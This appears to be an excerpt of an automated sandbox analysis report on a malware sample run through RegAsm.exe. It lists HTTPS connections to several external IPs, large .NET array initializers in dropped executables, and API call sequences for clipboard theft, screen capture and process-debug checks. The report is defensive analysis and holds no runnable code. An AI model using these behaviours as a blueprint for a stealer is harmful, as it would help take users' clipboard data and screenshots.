Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49811
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49810
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49809
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49808
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49807
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49805
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49803
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49802
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49801
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49800
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49809 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745

Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.4:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 49.12.197.9:443 -> 192.168.2.4:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 49.12.197.9:443 -> 192.168.2.4:49753 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.77.132:443 -> 192.168.2.4:49766 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49767 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.152.190:443 -> 192.168.2.4:49769 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.184.196:443 -> 192.168.2.4:49770 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.18.193:443 -> 192.168.2.4:49772 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.21.3:443 -> 192.168.2.4:49774 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.17.174:443 -> 192.168.2.4:49776 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.4:49778 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.12:443 -> 192.168.2.4:49779 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.4:49783 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.77.132:443 -> 192.168.2.4:49784 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49786 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 49.12.197.9:443 -> 192.168.2.4:49785 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.152.190:443 -> 192.168.2.4:49787 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.184.196:443 -> 192.168.2.4:49789 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.18.193:443 -> 192.168.2.4:49791 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.21.3:443 -> 192.168.2.4:49792 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.17.174:443 -> 192.168.2.4:49794 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.4:49796 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.12:443 -> 192.168.2.4:49798 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.67.133.187:443 -> 192.168.2.4:49802 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 49.12.197.9:443 -> 192.168.2.4:49803 version: TLS 1.2

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 9_2_00438660 OpenClipboard,GetWindowLongW,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,

9_2_00438660

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 9_2_00438660 OpenClipboard,GetWindowLongW,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,

9_2_00438660

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 2_2_00411F55 CreateStreamOnHGlobal,GetDesktopWindow,GetWindowRect,GetDC,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,BitBlt,GetHGlobalFromStream,GlobalLock,GlobalSize,SelectObject,DeleteObject,DeleteObject,ReleaseDC,CloseWindow,

2_2_00411F55

System Summary

.NET source code contains very large array initializations

Source: file.exe, MoveAngles.cs	Large array initialization: MoveAngles: array initializer size 393216
Source: GDBFCGIIIJ.exe.2.dr, MoveAngles.cs	Large array initialization: MoveAngles: array initializer size 360448
Source: 66fbfcc9963ca_ldfsna[1].exe.2.dr, MoveAngles.cs	Large array initialization: MoveAngles: array initializer size 360448
Source: KJEGDBKFIJ.exe.2.dr, MoveAngles.cs	Large array initialization: MoveAngles: array initializer size 393216

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0040145B GetCurrentProcess,NtQueryInformationProcess,	2_2_0040145B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C12ED10 malloc,NtFlushVirtualMemory,memset,memset,memset,memset,memset,memcpy,free,memset,memset,memcpy,memset,memset,memset,memset,memset,	2_2_6C12ED10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C16B700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	2_2_6C16B700
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C16B8C0 rand_s,NtQueryVirtualMemory,	2_2_6C16B8C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C16B910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	2_2_6C16B910
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C10F280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	2_2_6C10F280

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0041C472	2_2_0041C472
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0042D933	2_2_0042D933
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0042D1C3	2_2_0042D1C3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0042D561	2_2_0042D561
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0041950A	2_2_0041950A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0042DD1B	2_2_0042DD1B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0042CD2E	2_2_0042CD2E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0041B712	2_2_0041B712
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C1035A0	2_2_6C1035A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C145C10	2_2_6C145C10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C152C10	2_2_6C152C10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C17AC00	2_2_6C17AC00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C17542B	2_2_6C17542B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C17545C	2_2_6C17545C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C115440	2_2_6C115440
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C116C80	2_2_6C116C80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C1634A0	2_2_6C1634A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C16C4A0	2_2_6C16C4A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C12D4D0	2_2_6C12D4D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C1164C0	2_2_6C1164C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C146CF0	2_2_6C146CF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C10D4E0	2_2_6C10D4E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C130512	2_2_6C130512
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C12ED10	2_2_6C12ED10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C11FD00	2_2_6C11FD00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C140DD0	2_2_6C140DD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C1685F0	2_2_6C1685F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C147E10	2_2_6C147E10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C155600	2_2_6C155600
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C169E30	2_2_6C169E30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C129E50	2_2_6C129E50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C143E50	2_2_6C143E50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C124640	2_2_6C124640
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C152E4E	2_2_6C152E4E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C10C670	2_2_6C10C670
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C176E63	2_2_6C176E63
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C125E90	2_2_6C125E90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C16E680	2_2_6C16E680
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C164EA0	2_2_6C164EA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C10BEF0	2_2_6C10BEF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C11FEF0	2_2_6C11FEF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C1776E3	2_2_6C1776E3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C147710	2_2_6C147710
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C119F00	2_2_6C119F00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C1577A0	2_2_6C1577A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C136FF0	2_2_6C136FF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C10DFE0	2_2_6C10DFE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C117810	2_2_6C117810
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C14B820	2_2_6C14B820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C154820	2_2_6C154820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C128850	2_2_6C128850
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C12D850	2_2_6C12D850
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C14F070	2_2_6C14F070
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C1360A0	2_2_6C1360A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C1750C7	2_2_6C1750C7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C12C0E0	2_2_6C12C0E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C1458E0	2_2_6C1458E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C12A940	2_2_6C12A940
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C15B970	2_2_6C15B970
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C17B170	2_2_6C17B170
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C11D960	2_2_6C11D960
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C145190	2_2_6C145190
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C162990	2_2_6C162990
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C13D9B0	2_2_6C13D9B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C10C9A0	2_2_6C10C9A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C149A60	2_2_6C149A60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C17BA90	2_2_6C17BA90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C11CAB0	2_2_6C11CAB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C172AB0	2_2_6C172AB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C1022A0	2_2_6C1022A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C134AA0	2_2_6C134AA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C148AC0	2_2_6C148AC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C121AF0	2_2_6C121AF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C14E2F0	2_2_6C14E2F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C14D320	2_2_6C14D320
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C105340	2_2_6C105340
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C11C370	2_2_6C11C370
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C10F380	2_2_6C10F380
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C1753C8	2_2_6C1753C8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C28AC30	2_2_6C28AC30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C276C00	2_2_6C276C00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C1BAC60	2_2_6C1BAC60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C1AECC0	2_2_6C1AECC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C20ECD0	2_2_6C20ECD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C338D20	2_2_6C338D20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C27ED70	2_2_6C27ED70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C2DAD50	2_2_6C2DAD50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C1B4DB0	2_2_6C1B4DB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C246D90	2_2_6C246D90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C33CDC0	2_2_6C33CDC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C290E20	2_2_6C290E20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C24EE70	2_2_6C24EE70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C236E90	2_2_6C236E90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C1BAEC0	2_2_6C1BAEC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C250EC0	2_2_6C250EC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C1B6F10	2_2_6C1B6F10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C2F0F20	2_2_6C2F0F20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C272F70	2_2_6C272F70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C21EF40	2_2_6C21EF40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C2F8FB0	2_2_6C2F8FB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C1BEFB0	2_2_6C1BEFB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C28EFF0	2_2_6C28EFF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C1B0FE0	2_2_6C1B0FE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C200820	2_2_6C200820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C23A820	2_2_6C23A820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_004101A0	9_2_004101A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_00446DCB	9_2_00446DCB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_00401000	9_2_00401000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_00407020	9_2_00407020
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_0041508C	9_2_0041508C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_004480A0	9_2_004480A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_004221A0	9_2_004221A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_00444240	9_2_00444240
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_0040B270	9_2_0040B270
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_0040C210	9_2_0040C210
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_00438210	9_2_00438210
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_004432E0	9_2_004432E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_004012F2	9_2_004012F2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_0042D295	9_2_0042D295
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_0040937E	9_2_0040937E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_00405320	9_2_00405320
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 9_2_004073D0	9_2_004073D0
